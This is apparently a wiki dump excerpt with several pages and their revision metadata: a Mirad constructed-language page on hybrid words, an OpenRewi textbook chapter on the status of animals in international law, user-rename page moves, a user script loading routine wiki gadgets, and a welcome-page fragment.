ghjx<br /> 所 hhe1<br /> 官 mhr<br /> 面 h7p<br /> 稨 vhmu<br /> 鵹 vb/h<br /> 万 hb 兀 eq and 光 teq not thc<br /> 戌 h5<br /> 昜 dhb/ 兀 eq and 光 teq not thc<br /> 暇 dhex<br /> 搣 ghy5<br /> {{BookCat}} eb9tdtubnku238a5nibjckkt6psa7q1 0 417653 4670683 4662228 2026-09-17T16:01:45Z Tyoyafud 6233 4670683 wikitext text/x-wiki <noinclude>{{status|100%}}</noinclude> [[File:Hybrids of Horse, Donkey & Zebra.jpg|thumb|]] : There is a class of words in Mirad which are called '''''hybrids''''', i.e. cross-combinations of opposite words that mean ''something <u>and</u> something else'' or ''something <u>or</u> something else''. For example, in English, ''swinging'' is "moving BACK-AND-FORTH", or, questions can be of the type "YES-OR-NO". The vowels in these directionals are, for euphonic purposes, '''ao''', '''eo''', or '''ui'''. These alternating expressions are often used as adverbs or verbal prefixes. Here is an incomplete list of such expressions, the elements decomposed, and examples of their usage: :{| class="wikitable" style="background:lightyellow;{{Text default color}}; font-size:smaller;" |+ Hybrid Expressions |- style="valign:top" ! Opposite Elements !! Hybrids |- valign=top | '''ab'''....''on''<br>'''ob'''....''off'' || '''aoper'''....''get on and off''<br>'''aober'''....''take on and off'' |- valign=top | '''bu'''....''to, give''<br>'''bi'''...''from, take'' || '''buinax'''....''round trip fare''<br>'''buipar'''....''shuttle bus''<br>'''buier'''....''trade'' |- valign=top | '''ga'''....''more''<br>'''go'''....''less'' || '''gao'''....''more-or-less'' |- valign=top | '''hum'''....''there''<br>'''him'''....''here'' || '''huimpoper'''....''travel here and yon'' |- valign=top | '''hus'''....''that''<br>'''his'''....''this'' || '''huisbier'''....''select between this and that'' |- valign=top | '''hyas'''....''everything''<br>'''hyos'''....''nothing'' || '''hyaoson'''....''all-or-nothing matter'' |- valign=top | '''hyut'''....''another''<br>'''hyit'''....''the same person'' || '''hyuita'''....''mutual''<br>'''hyuitifer'''....''love one another'' |- valign=top | '''tej'''....''life''<br>'''toj'''....''death'' || '''teoja ebyem'''....''life-and-death situation'' |- valign=top | '''u'''....''away/west''<br>'''i'''....''toward/east'' || '''uinab'''....''row''<br>'''uinada'''....''horizontal''<br>'''Uiyanmel'''....''Eurasia'' |- valign=top | '''a'''....''up/north''<br>'''o'''....''down/south'' || '''aonab'''....''column''<br>'''aonada'''....''vertical''<br>'''pyaoser'''....''to bounce, to wave'' |- valign=top | '''uz'''....''crooked''<br>'''iz'''....''straight'' || '''uizpaser'''....''careen, stagger''<br>'''uizder'''....''to equivocate'' |- valign=top | '''ub'''....''toward''<br>'''ib'''....''away'' || '''uipeni'''....''comings and goings'' |- valign=top | '''uj'''....''end''<br>'''ij'''....''beginning'' || '''uijbar'''....''on-off switch'' |- valign=top | '''uga'''....''slow''<br>'''iga'''....''fast'' || '''uigpar'''....''scooter'' |- valign=top | '''va'''....''yes''<br>'''vo'''....''no'' || '''vaoder'''....''decide''<br>'''vaotexer'''....''wonder''<br>'''vaodid'''....''yes-or-no question'' |- valign=top | '''yuja'''....''closed''<br>'''yija'''....''open'' || '''yuija'''....''open-and-shut''<br>'''yuijar'''....''valve''<br>'''manyuijar'''....''light switch''<br>'''teabyuijer'''....''blink'' |- valign=top | '''yab'''....''up''<br>'''yob'''....''down'' || '''yaoblir'''....''elevator (up-and-down taker)''<br>'''yaoblar'''....''lever''<br> '''yaopyaser'''....''jump up and down''<br>'''yaobsum'''....''bunkbed'' |- valign=top | '''ayeb¹'''....''in''<br>'''oyeb'''....''out'' || '''aoyebar'''....''piston'' (in-and-out-device) |- valign=top | '''za'''....''front''<br>'''zo'''....''back'' || '''zaobaser'''....''rock''<br> '''zaopaser'''....''swing'' |- valign=top | '''zu'''....''left/west''<br>'''zi'''....''right/east''||'''zuibaser'''....''wobble''<br>'''zuipaser'''....''zigzag''<br>'''zuimera'''....''east-west''<br>'''zuituyaba'''....''ambidextrous'' |- valign=top | '''malza'''....''white''<br>'''molza'''....''black'' || '''maolza'''....''gray'' |- valign=top | '''yav-'''....''innocent''<br>'''yov-'''....''guilty'' ||'''yaovyek'''....''trial (Lit: innocent-guilty-test)'' |- valign=top | '''zyu-'''....''round''<br>'''zyi-'''....''flat'' || '''zyuis'''....''oval, ellipse'' |- valign=top | '''up-'''....''come''<br>'''ip-'''....''go, leave'' || '''mimuip'''....''tide (Lit: sea-come-go)''<br>'''uipeni'''....''comings and goings'' |- valign=top | '''uv-'''....''sad''<br>'''iv-'''....''happy'' || '''uivdin'''....''tragicomedy'' |- valign=top | '''yugza'''....''sweet''<br>'''yigza'''....''sour'' || '''yuigza'''....''sweet and sour'' |- valign=top | '''nux-'''....''to pay''<br>'''nix-'''....''to earn'' || '''nuix'''....''budget'' |- valign=top | '''yoba'''....''low''<br>'''yiba'''....''far'' || '''yoiba'''....''deep'' |- valign=top | '''yoba'''....''low''<br>'''yuba'''....''near'' || '''youba'''....''shallow'' |- valign=top | '''yaba'''....''high''<br>'''yiba'''....''far'' || '''yaiba'''....''tall'' |- valign=top | '''yaba'''....''high''<br>'''yuba'''...''near'' || '''yauba'''....''short'' |} : ¹<small>This is a long form of '''yeb''' (''in'') that contrasts with '''oyeb''' (''out'').</small> : Keep in mind that if a hybrid word ends in '''b''', the '''b''' assimilates by dropping from '''per''' (''to go'') and '''ber''' (''to put'') words, eg: ::* '''ao<s>b</s>''' + '''ber''' = '''aober''' ::* '''ui<s>b</s>''' + '''per''' = '''uiper''' <noinclude>{{Chapter navigation with TOC|Interjections|Greetings and Euphemisms |TOC mini}}</noinclude> nalzq5p8vt6nzbdkbjff8rfhqsczccl 4670684 4670683 2026-09-17T16:06:24Z Tyoyafud 6233 4670684 wikitext text/x-wiki <noinclude>{{status|100%}}</noinclude> [[File:Hybrids of Horse, Donkey & Zebra.jpg|thumb|]] : There is a class of words in Mirad which are called '''''hybrids''''', i.e. cross-combinations of opposite words that mean ''something <u>and</u> something else'' or ''something <u>or</u> something else''. For example, in English, ''swinging'' is "moving BACK-AND-FORTH", or, questions can be of the type "YES-OR-NO". The vowels in these directionals are, for euphonic purposes, '''ao''', '''eo''', or '''ui'''. These alternating expressions are often used as adverbs or verbal prefixes. Here is an incomplete list of such expressions, the elements decomposed, and examples of their usage: :{| class="wikitable" style="background:lightyellow;{{Text default color}}; font-size:smaller;" |+ Hybrid Expressions |- style="valign:top" ! Opposite Elements !! Hybrids |- valign=top | '''ab'''....''on''<br>'''ob'''....''off'' || '''aoper'''....''get on and off''<br>'''aober'''....''take on and off'' |- valign=top | '''bu'''....''to, give''<br>'''bi'''...''from, take'' || '''buinax'''....''round trip fare''<br>'''buipar'''....''shuttle bus''<br>'''buier'''....''trade'' |- valign=top | '''ga'''....''more''<br>'''go'''....''less'' || '''gao'''....''more-or-less'' |- valign=top | '''hum'''....''there''<br>'''him'''....''here'' || '''huimpoper'''....''travel here and yon'' |- valign=top | '''hus'''....''that''<br>'''his'''....''this'' || '''huisbier'''....''select between this and that'' |- valign=top | '''hyas'''....''everything''<br>'''hyos'''....''nothing'' || '''hyaoson'''....''all-or-nothing matter'' |- valign=top | '''hyut'''....''another''<br>'''hyit'''....''the same person'' || '''hyuita'''....''mutual''<br>'''hyuitifer'''....''love one another'' |- valign=top | '''tej'''....''life''<br>'''toj'''....''death'' || '''teoja ebyem'''....''life-and-death situation'' |- valign=top | '''u'''....''away/west''<br>'''i'''....''toward/east'' || '''uinab'''....''row''<br>'''uinada'''....''horizontal''<br>'''Uiyanmel'''....''Eurasia'' |- valign=top | '''a'''....''up/north''<br>'''o'''....''down/south'' || '''aonab'''....''column''<br>'''aonada'''....''vertical''<br>'''pyaoser'''....''to bounce, to wave'' |- valign=top | '''uz'''....''crooked''<br>'''iz'''....''straight'' || '''uizpaser'''....''careen, stagger''<br>'''uizder'''....''to equivocate'' |- valign=top | '''ub'''....''toward''<br>'''ib'''....''away'' || '''uipeni'''....''comings and goings'' |- valign=top | '''uj'''....''end''<br>'''ij'''....''beginning'' || '''uijbar'''....''on-off switch'' |- valign=top | '''uga'''....''slow''<br>'''iga'''....''fast'' || '''uigpar'''....''scooter'' |- valign=top | '''va'''....''yes''<br>'''vo'''....''no'' || '''vaoder'''....''decide''<br>'''vaotexer'''....''wonder''<br>'''vaodid'''....''yes-or-no question'' |- valign=top | '''yuja'''....''closed''<br>'''yija'''....''open'' || '''yuija'''....''open-and-shut''<br>'''yuijar'''....''valve''<br>'''manyuijar'''....''light switch''<br>'''teabyuijer'''....''blink'' |- valign=top | '''yab'''....''up''<br>'''yob'''....''down'' || '''yaoblir'''....''elevator (up-and-down taker)''<br>'''yaoblar'''....''lever''<br> '''yaopuser'''....''jump up and down''<br>'''yaobsum'''....''bunkbed'' |- valign=top | '''ayeb¹'''....''in''<br>'''oyeb'''....''out'' || '''aoyebar'''....''piston'' (in-and-out-device) |- valign=top | '''za'''....''front''<br>'''zo'''....''back'' || '''zaobaser'''....''rock''<br> '''zaopaser'''....''swing'' |- valign=top | '''zu'''....''left/west''<br>'''zi'''....''right/east''||'''zuibaser'''....''wobble''<br>'''zuipaser'''....''zigzag''<br>'''zuimera'''....''east-west''<br>'''zuituyaba'''....''ambidextrous'' |- valign=top | '''malza'''....''white''<br>'''molza'''....''black'' || '''maolza'''....''gray'' |- valign=top | '''yav-'''....''innocent''<br>'''yov-'''....''guilty'' ||'''yaovyek'''....''trial (Lit: innocent-guilty-test)'' |- valign=top | '''zyu-'''....''round''<br>'''zyi-'''....''flat'' || '''zyuis'''....''oval, ellipse'' |- valign=top | '''up-'''....''come''<br>'''ip-'''....''go, leave'' || '''mimuip'''....''tide (Lit: sea-come-go)''<br>'''uipeni'''....''comings and goings'' |- valign=top | '''uv-'''....''sad''<br>'''iv-'''....''happy'' || '''uivdin'''....''tragicomedy'' |- valign=top | '''yugza'''....''sweet''<br>'''yigza'''....''sour'' || '''yuigza'''....''sweet and sour'' |- valign=top | '''nux-'''....''to pay''<br>'''nix-'''....''to earn'' || '''nuix'''....''budget'' |- valign=top | '''yoba'''....''low''<br>'''yiba'''....''far'' || '''yoiba'''....''deep'' |- valign=top | '''yoba'''....''low''<br>'''yuba'''....''near'' || '''youba'''....''shallow'' |- valign=top | '''yaba'''....''high''<br>'''yiba'''....''far'' || '''yaiba'''....''tall'' |- valign=top | '''yaba'''....''high''<br>'''yuba'''...''near'' || '''yauba'''....''short'' |} : ¹<small>'''Ayeb''' is a long form of '''yeb''' (''in'') that contrasts with '''oyeb''' (''out'').</small> : Keep in mind that if a hybrid word ends in '''b''', the '''b''' assimilates by dropping from '''per''' (''to go'') and '''ber''' (''to put'') words, eg: ::* '''ao<s>b</s>''' + '''ber''' = '''aober''' ::* '''ui<s>b</s>''' + '''per''' = '''uiper''' <noinclude>{{Chapter navigation with TOC|Interjections|Greetings and Euphemisms |TOC mini}}</noinclude> ge7ce5pfe27pi6po0gngnpor4rviefe 3 426427 4670849 4635517 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User talk:SHB2000]] to [[User talk:SHB]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4635517 wikitext text/x-wiki {{User:MiszaBot/config |archive = User talk:SHB2000/Archive 2 |algo = old(14d) |counter = 2 |maxarchivesize = 500K |minthreadstoarchive = 1 |minthreadsleft = 0 }} {{talk header|search=yes}} q89k2ut7lx1vpdp6mts66d8gxt0l0vh 0 435211 4670718 4533090 2026-09-17T21:43:47Z WereSpielChequers 248949 c/e 4670718 wikitext text/x-wiki <p style="clear: both;"></p> {{OpenRewi/Chapter-Top}} <p style="clear: both;"></p> <!--Please do not delete the part above this comment--> <big>'''Author:''' Anne Peters</big> <blockquote>'''Required knowledge:''' Link<!--Please insert links to other parts of the book or other books that are needed as prior knowledge--><!-- Max: you could think of adding some required knowledge (e.g., basics of history of IL) --> </blockquote>'''Learning objectives:''' == A. Introduction == International law as it stands has not only failed to acknowledge non-animal personhood but has overall paid very little attention to non-human animals (in the following: animals) at all. Animals are no international legal persons (subjects). Both the legal status of animals and the regulation of how humans should treat them lies in the ''domaine reservé'' of states which is only very gradually and selectively punctuated by some international or EU-norms, often only soft ones. International (and European) law is most developed with regard to wildlife, or attached to transboundary constellations (international animal trade and livestock transport), or to animals outside national jurisdiction (in the High Seas). == B. Wild animals: Status and protection == Wild animals are commodified under international law (just as under domestic laws) and are qualified as natural resources.<ref>See Art. XX lit. g) GATT and WTO AB, ''United States ─ Import Prohibition of Certain Shrimp and Srimp Products'', AB-1998-4, WT/DS58/AB/R of 12 October 1998, para. 131. See also Art. V(1) of the Revised African Convention on the Conservation of Nature and Natural Resources of 11 July 2003; Art. 77(4) UNCLOS.</ref> They therefore fall both under the states’ “permanent sovereignty over natural resources”<ref>UN General Assembly, Resolution 1803 (XVII) of 14 December 1962; ICJ, ''Armed Activities on the Territory of the Congo'' (''Democratic Republic of the Congo'' v''. Uganda''), Judgment, ICJ Reports 2005, para. 244.</ref> and under the self-determination of peoples over natural resources.<ref>Common Art. 1(2) of the UN Human Rights Covenants; Art. 21 of the African Charter on Human and Peoples’ Rights.</ref> The legal consequence of this status is that each state has the “sovereign” ''right to'' exploit its „own” resources pursuant to its own environmental and developmental policies. The status as a resource under the sovereignty of the territorial or range state and for disposal of its people is mitigated but not eliminated by universal and regional treaties on species conservation, trade in endangered species, habitat protection, and biodiversity. In these regimes, very few and select groups of animals (belonging to certain species) are the objects of protection and conservation, or otherwise indirectly benefit from ecological measures. The overarching paradigm is one of human stewardship over nature and its elements. Under the purview of these regimes, the tension between conservation and human interests constantly comes up in the meetings or conferences of the parties. The intensification of international habitat and species conservation law would be more acceptable for humans in the global south if wildlife protection included also the restoration of wild animals in Europe and North America that were extinguished by human civilisation. Such an obligation has been read out of Art. 8 f) of the Biodiversity Convention.<ref>Convention on Biological Diversity of 5 June 1992 (1760 UNTS 79). [https://onlinelibrary.wiley.com/authored-by/ContribAuthorRaw/Trouwborst/Arie Arie Trouwborst], [https://onlinelibrary.wiley.com/authored-by/ContribAuthorRaw/Svenning/Jens%E2%80%90Christian Jens-Christian Svenning], ‘Megafauna restoration as a legal obligation: International biodiversity law and the rehabilitation of large mammals in Europe’, ''Review of European, International, and comparative International Environmental Law'' 31 (2022), 182–198.</ref> The international legal status of animals in areas beyond national jurisdiction (especially in the High Seas) is different but equally inconsiderate to the interests of the animals themselves. Marine life was here historically regarded as “''res nullius''” (open to acquisition and exploitation by all). After the experience of over-exploitation and risk of depletion, the concept of “''res communis''” (or “res communis omnium” or “res omnium”), that is common property, emerged for wildlife in international spaces.<ref>Kemal Baslar, ''The Concept of the Common Heritage of Mankind in International Law'', The Hague, Martinus Nijhoff Publishers 1998), 312.</ref> More recent scholarly concepts are wildlife as a global “common concern”,<ref>Baslar (note *), at 313.</ref> “common heritage”,<ref>Rachelle Adam, Joan Schaffner, ‘International Law and Wildlife Well-Being: Moving from Theory to Action’, ''Journal of International Wildlife Law and Policy'' 20 (2017), 1-17 at 14.</ref> and “global environmental resource”,<ref>Michael Glennon, “Has International Law Failed the Elephant?”, ''American Journal of International Law'' 84 (1990), 1-43, at 34.</ref> up to biodiversity as a “global public good”.<ref>Edith Brown Weiss, “Establishing Norms in a Kaleidoscopic World: General Course on Public International Law”, ''Recueil des Cours'' Vol. 396 (2018), 112.</ref> These novel qualifications have been first applied to wild animals in areas beyond national jurisdiction, and later also to wildlife inside national jurisdictions. These concepts are valuable answers to problems of global distributive justice and inter-generational fairness. However, the aspiration of justice is still limited to humans, and not directed toward the animals themselves. The principal legal consequence of all these categories remains identical: States are (at most) obliged to manage the animals (as living resources) in a cooperative and sustainable way, in order to secure their common exploitation by humans, including their killing. Moreover, the focus is still almost exclusively on the protection of species as a group and not on the welfare of animals as suffering individuals. Although animal welfare may be promoted as a side effect of species conservation, both goals often stand in tension, e.g. when combating ‘invasive species’. Finally, all new international law-based legal labels still treat animals as things as opposed to persons. This would change only with the recognition of wild animals right to property or to sovereignty. From the property perspective, wildlife should become owners of the territory where it lives or roams. The property would be managed by a human trusteee who is obliged to act in the best interest of the animal owners.<ref>John Hadley, ''Animal Property Rights: A Theory of Habitat Rights for Wild Animals'' (Lanham MD: Lexington Books 2015); Karen Bradshaw, ''Wildlife as Property Owners: A New Conception of Animal Rights'' (University of Chicago Press 2020).</ref> Alternatively, wild animal sovereignty could be acknowledged. From that perspective, the injustice of human encroachment into wild animal habitats resembles the injustice of colonisation. It needs to be acknowledged and as far as possible remedied through restoration and other measures directed at facilitating and re-enabling wild animal flourishing.<ref>Sue Donaldson and Will Kymlicka, ''Zoopolis'' (Oxford: OUP 2011), Chapter 6.</ref> == C. Concern for animal health as an international principle == Animal health is the core mandate of the WOAH (World Organisation for Animal Health), founded under the name OIE in 1924.<ref>International Agreement for the Creation at Paris of an International Office for dealing with Contagious Diseases of Animals of 25 January 1924 with annexed Organic Statutes (57 LNTS 135).</ref> It is also a main topic of the SPS-Agreement<ref>Agreement on the Application of Sanitary and Phytosanitary Measures of on 15 April 1994 (UNTS **).</ref> which spells out the WTO members obligations under GATT in relation to sanitary or phytosanitary measures and the application of the exception in favour of “animal …health” (Art. XX (b) GATT). Animal health has become a prominent issue since the Covid-19 Pandemic. It is one of the three elements in the One-Health approach. ‘One Health’ signals that the health of humans, non-human animals, and the planet are interdependent and indivisible and must therefore be protected in a holistic way. This approach is pursued by an alliance of now four international organisations viz. programmes (WHO, FAO, WTO, UNEP).<ref>WHO, FAO, WTO, ''Tripartite Concept Note on One Health'' (2010). In 2022, the three organisations signed a partnership with the UNEP, turning the tripartite into a Quadripartite; see ‘UN Environment Programme Joins Alliance to Implement One Health Approach’ (World Health Organization, 18 March 2022, * bessere ref.*</ref> It is also proposed as a principle of the draft treaty on pandemic preparedness currently under negotiation.<ref>*Ref*</ref> The attention paid by these regimes to animal health has until now been purely anthropocentric, namely to prevent zoonoses and to safeguard human health and food security. == D. Animal welfare as a customary norm or general principle == Animal welfare (i.e. the well-being of animal individuals) has so far been addressed only very scarcely and in an ancillary fashion in some species conservation treaties.<ref>See e g Art. VII(7)(c) CITES.</ref> Gradually, the international institutions entrusted with animal species conservation or animal health have begun to pay more attention to animal welfare and have even stretched their mandates in that direction.<ref>The Florianópolis Declaration on the Role of the International Whaling Commission in the Conservation and Management of Whales in the 21^st Century (Florianópolis Declaration), 17 September 2018 (Res. 2018-5), preamble, 3d indent. *Whaling docus. IWC Working Group on Whale Killing Methods and Welfare Issues (WG-WKM&amp;WI), “Cetacean Welfare Assessment Tool”. ** more*</ref> Notably, chapters with animal welfare standards have since 2002 been inserted into the (soft) animal health codes issued regularly by the WOAH, and are regularly updated.<ref><span class="mark">*last:</span> OIE, ‘Terrestrial Animal Health Code’ (TAHC) (29th edn, OIE 2021); OIE, ‘Aquatic Animal Health Code’ (AAHC) (23rd edn, OIE 2021), reflecting the revisions at the 88th General Session (May 2021) https://www.oie.int/en/what-we-do/standards/codes-and-manuals/aquatic-code-online-access/.</ref> In 2022, the UN Environmental Assembly adopted a ‘Resolution on the Animal Welfare ─Environment─Sustainable Development Nexus’.<ref>UNEA, Res of 2 March 2022 (UNEP/EA.5/L.10/rev.1).</ref> This is the first mentioning of ‘animal welfare’ by a UN body. It seems to manifest a ‘One welfare’-approach, in extension of the One-Health approach. Animal welfare has become part of “public morals”. Under that heading, animal welfare considerations allow states to deviate from obligations to liberalise trade under Art. XX lit. a) GATT and parallel provisions in bilateral and regional trade agreements. A WTO Panel acknowledged “that animal welfare is a matter of ethical responsibility for human beings in general”<ref>Panel Reports, ''European Communities – Measures Prohibiting the Importation and Marketing of'' Seal Products, WT/DS400/R and WT/DS401/R (25 November 2013), para 7.409.</ref> and that animal welfare is “a globally recognized issue”.<ref>''Ibid''., para 7.420.</ref> This was confirmed by the WTO-Appelate Body.<ref>Appellate Body Reports, ''European Communities – Measures Prohibiting the Importation and Marketing of Seal Products'', WT/DS400/AB/R and WT/DS401/AB/R (22 May 2014), para. 5.201.</ref> Concern for animal welfare is also a legitimate objective for limiting the exercise of international human rights (such as the right to property and contract, and freedom of research).<ref>See the explicit reference to the protection of morals in Art. 10(2) ECHR (freedom of expression, which includes freedom of research).</ref> Recent formal expressions of commitment to animal welfare seem to manifest the formation of a relevant ''opinio iuris''.<ref>ICJ, ''Whaling in the Antarctic'' (''Australia'' v. ''Japan''), judgment of 31 March 2014, separate opinion of Judge Cançado Trindade, para. 9.</ref> They might also demonstrate a convergence upon a “general principle of law” (Art. 38 lit. c) ICJ Statute).<ref>M. Bowman, “The Protection of Animals under International Law”, ''Connecticut Journal of International Law'' 4 (1989), 487-500; Michael Bowman, P* Davies and Catherine Redgwell, ''Lyster’s International Wildlife Law'', Cambridge, Cambridge University Press, 2nd ed. 2010), 680; K. Sykes, “’Nations Like Unto Yourselvs‘: An Inquiry into the Status of a General Principle of International Law on Animal Welfare”, ''Canadian Yearbook of International Law'' 49 (2011), 3-49.</ref> However, a widespread relevant legal practice on respect for animal welfare is lacking. Around fifty percent of states have no animal protection legislation.<ref>https://www.globalanimallaw.org/database/national/index.html.</ref> Against the background of wide variations in national legislation, the exact contours of the putative customary rule or general principle of international law are unclear. The hard core of the emerging universal principle seems to be only a prohibition of deliberate and wanton cruelty against animals. == E. Possible paths to future international animal personhood == International legal personhood could be conferred on animals explicitly or even implicitly by treaty, and it could emerge as a customary rule, or as a general principle of international law. International law is particularly open to the personhood of non-humans − with states being the main persons in this legal order. The circle of international legal persons has never been closed but has been continuously expanded. There is no intrinsic conceptual barrier against assigning legal personality to animals. The concomitant change of the status of animals from ‘things’ (‘objects’) to ‘persons’ (‘subjects’) under international law would even match the status change of humans in international law that was triggered by legal developments after 1918 and completed only after 1945. In the early 20th century – when the idea of international legal personhood was first sharply conceptualised – humans were relegated to the realm of things, they were explicitly and adamantly qualified as ‘objects’, not ‘subjects’ of international law, by influential scholars. The currently booming case-law on animal personhood in domestic law might in the long run give rise to a general principle of animal personhood that could then enter into the realm of international law (Art. 38(1) lit. c) ICJ-Statute, provided that it is sufficiently widespread and transposable to the international legal order. The extant case law has been produced only by courts in the global south, with Latin American courts being frontrunners. This regional concentration might actually facilitate the spread of the underlying principle. Its universalisation would be less suspect of legal imperialism, because it would travel in the opposite direction than the traditional legal migration that has almost always flowed from the North-Western legal orders (backed by economic and political power) to the South. However, such a maturation of animal personhood into a general principle in international law is not yet in sight and not very likely. Alternatively, animals could potentially benefit from the highly dynamic legislation and case law recognising rights of nature in all world regions, mostly in the global south.<ref>See UNGA ‘Harmony with Nature: Report of the Secretary General’ (26 July 2019) UN Doc A/74/236.</ref> It is not unlikely that these domestic developments will in the future give rise to a general principle of rights of nature. Then, it would be possible that the animals which form part of nature would also be elevated to a rights-holder under international law, with a right to exist in integrity and flourish.<ref>This consequence has been drawn for the law of Ecuador by Constitutional Court of Ecuador, ''Mona Estrellita,'' Sentencia No. 253-20-JH/22, 27 January 2022.</ref> This would then at the same time constitute or signal an international legal personhood of animals, even if only a so-called ‘partial’ one. Animal international personhood would – unlike the international legal personhood of international organisations – not be an extension of states, but would rather feed on the moral pedigree of the personhood of humans. In this context, personhood appears to be more than a purely technical juridic device. It would signal that animals ‘count’ in international law and would convey the message that animals are intrinsically valuable. However, animals would always need some form of political and legal representation by humans in order to vindicate their legal status and rights if these are challenged or infringed. == F. Conclusions and Outlook == Non-human animals are still far away from being recognised as international legal persons. More even, international law has up to now been a mixed blessing for them. Public international law treaties, due to their focus on animal species conservation, suffer not only from an animal welfare gap but even risk to pit animal species survival against individual animal welfare. Recent steps in the direction of upgrading the status and the interests of animals in international law are the expansion of regimes and institutional activity to cater for animal welfare, the rights of nature-movement, and the insertion of the One-Health principle into international governance. These observations allow the conjecture that an overarching international norm of “animal ''protection''” is emerging. This emerging norm seems to encompass both the conservation of wild animals against extinction and the safeguarding of welfare and rights of individual animals of all groups (domestic, wild, and liminal) against suffering.<ref>Katie Sykes, “Globalization and the Animal Turn: How International Trade Law Contributes to Global Norms of Animal Protection”, ''Transnational Environmental Law'' 5 (2016), 55-79.</ref> If developed (much) further along these lines, international law in the Anthropocene might cater for the interests of animals to live in peace, even without enjoying the status of international legal persons. Importantly, however, the relevant international norms must be properly applied and implemented in the first place by national and local authorities. The need to design and monitor such domestic implementation warrants a global animal law approach. = Further Reading = Peters, Anne, “Global Animal Law: What it is and why we need it”, ''Transnational Environmental Law'' 5 (2016), 9 -* Peters, Anne (ed.), ''Studies in Global Animal Law'', Heidelberg, Springer, 2020). ''L’Observateur des Nations Unies'', Vol. 45 (2018), *-* (« L’Animal » ; special issue) Scholtz, Werner (ed.), ''Animal Welfare and International Environmental Law'', Cheltenham, Edward Elgar, 2019. Brels, Sabine, ''Le Droit du bien-être animal dans le monde: évolution et universalisation'' (Paris : L’Harmattan 2017) Peters, Anne, ‘Animal Rights’, in: Christina Binder/Manfred Nowak/Jane Alice Hofbauer/Philipp Janig (eds), Elgar Encyclopedia of Human Rights (Cheltenham: Edward Elgar 2022), 129-135. Alasdair Cochrane, ''Should Animals Have Political Rights''? (Cambridge: polity 2020). Sue Donaldson and Will Kymlicka, ''Zoopolis'' (Oxford: OUP 2011). Christine Koorsgard, ''Fellow Creatures'' (Oxford: OUP 2019). Visa A Kurki, ''A Theory of Legal Personhood'' (Oxford: OUP 2019) Thomas Pietrzykowski, “Animal Rights”, in: Andreas von Arnauld/Kerstin von der Decken/Marti Susi (eds), The Cambridge Handbook of New Human Rights (Cambridge CUP 2020), 243-252. Stucki, Saskia, ''One Rights: Human and Animal Rights in the Anthropocene'' (Cham: Springer 2022). Kristen Stilt, Rights of Nature, Rights of Animals, Harvard Law Review 134 (2021), 276-284. Christopher D. Stone, “Should Trees have standing? - Towards Legal Rights for Natural Objects”, ''Southern California Law Review'' 45 (1972), 450-487 John Hadley, ''Animal Property Rights: A Theory of Habitat Rights for Wild Animals'' (Lanham MD: Lexington Books 2015). Karen Bradshaw, Wildlife as Property Owners : A New Conception of Animal Rights (Univ of Chicago Press 2020) Stuart Harrop, “From Cartel to Conservation and on to Compassion: Animal Welfare and the International Whaling Convention”, ''Journal of International Wildlife Law and Policy'' 6 (2003), 85-* Martha Nussbaum, ** Peters, Anne, ''Animals in International Law'' (Leiden: Brill 2021). Anthony D’Amato und Sudhir K. Chopra, “Whales: Their Emerging Right to Life”, American Journal of International Law 85 (1991), 21-62. Woolaston, Katie ''Ecological Vulnerability; The Law and Governance of Human-Wildlife Conflict'' (Cambridge University Press 2022). Charlotte E. Blattner, ''Protecting Animals Within and Across Borders: Extraterritorial Jurisdiction and the Challenges of Globalization'' (Oxford: OUP 2019). <references /> <!--Please do not delete the part under this comment--> {{OpenRewi/Chapter-End}} {{BookCat}} 725r1msisprdtmvdsodku8g9opf6bem 2 436693 4670843 4443736 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User:SHB2000/common.js]] to [[User:SHB/common.js]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4443736 javascript text/javascript // Correct typos in one click mw.loader.load('https://en.wikibooks.org/w/index.php?title=User:Uziel302/typo.js&action=raw&ctype=text/javascript'); // ReportSolver // mw.loader.load('//meta.wikipedia.org/w/index.php?title=User:AramilFeraxa/ReportSolver.js&action=raw&ctype=text/javascript'); // mass delete mw.loader.load( '//en.wikipedia.org/w/index.php?title=User:1234qwer1234qwer4/mass-tools.js&action=raw&ctype=text/javascript' ); // AllInOne mw.loader.load('//meta.wikimedia.org/w/index.php?title=User:WhitePhosphorus/js/all-in-one.js&action=raw&ctype=text/javascript'); 7y1c7tq28ywh77lckjvqhxn9dc159vk 2 436940 4670845 4198153 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User:SHB2000/Editnotice]] to [[User:SHB/Editnotice]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4198153 wikitext text/x-wiki {{editnotice | expiry = | id = | header = STOP | headerstyle = | text = Are you intending to leave me a message. You should do so on [[b:User talk:SHB2000|my talk page]], not here. | textstyle = | image = }} [[Category:Editnotice templates]] 80e44axrk80knptr1mrebsgx0jfr9oc 3 437916 4670847 4469635 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User talk:SHB2000/Archive 1]] to [[User talk:SHB/Archive 1]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4469635 wikitext text/x-wiki {{talkarchive}} == Welcome! == <div style="text-align:center; font-size:110%; font-weight:bold;">[[Wikibooks:Welcome|Welcome]] to Wikibooks, SHB2000!</div> <!-- FIRST COLUMN --> <div style="width:49.5%; float:left; margin:0em; padding:0em;"> <div style="margin:0.2em; border:1px solid #15304f; background-color:#f4eed7;"> <div style="border-bottom:1px solid #15304f; background-color:#89b5e7; padding:0.2em 0.5em; font-size:110%; font-weight:bold;">[[File:Crystal Clear app kedit.png|20px|link=|alt=]] '''First steps tutorial'''</div> <div style="padding:0.4em 1em 0.3em 1em;"> '''Wikibooks is for [[WB:AGF|collaborative]] development of free&nbsp;[[WB:WIW|textbooks]].''' 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If you already contribute at other Wikimedia projects, our [[Wikibooks:Wikibooks for Wikimedians|Wikimedia Orientation]] should quickly get you started. </div> </div> <div style="clear:both; padding-right:1em; text-align:right; font-size:smaller">(Would you like to provide [[Template talk:Bigwelcome|feedback]] on this message?)</div> </div> <!-- SECOND COLUMN --> <div style="width:49.5%; float:left; margin:0em; padding:0em;"> <div class="collapsible" style="margin:0.2em; border:1px solid #15304f; background-color:#f4eed7; text-align:left;"> <div class="title" style="border-bottom:1px solid #15304f; background-color:#89b5e7; padding:0.2em 0.5em; 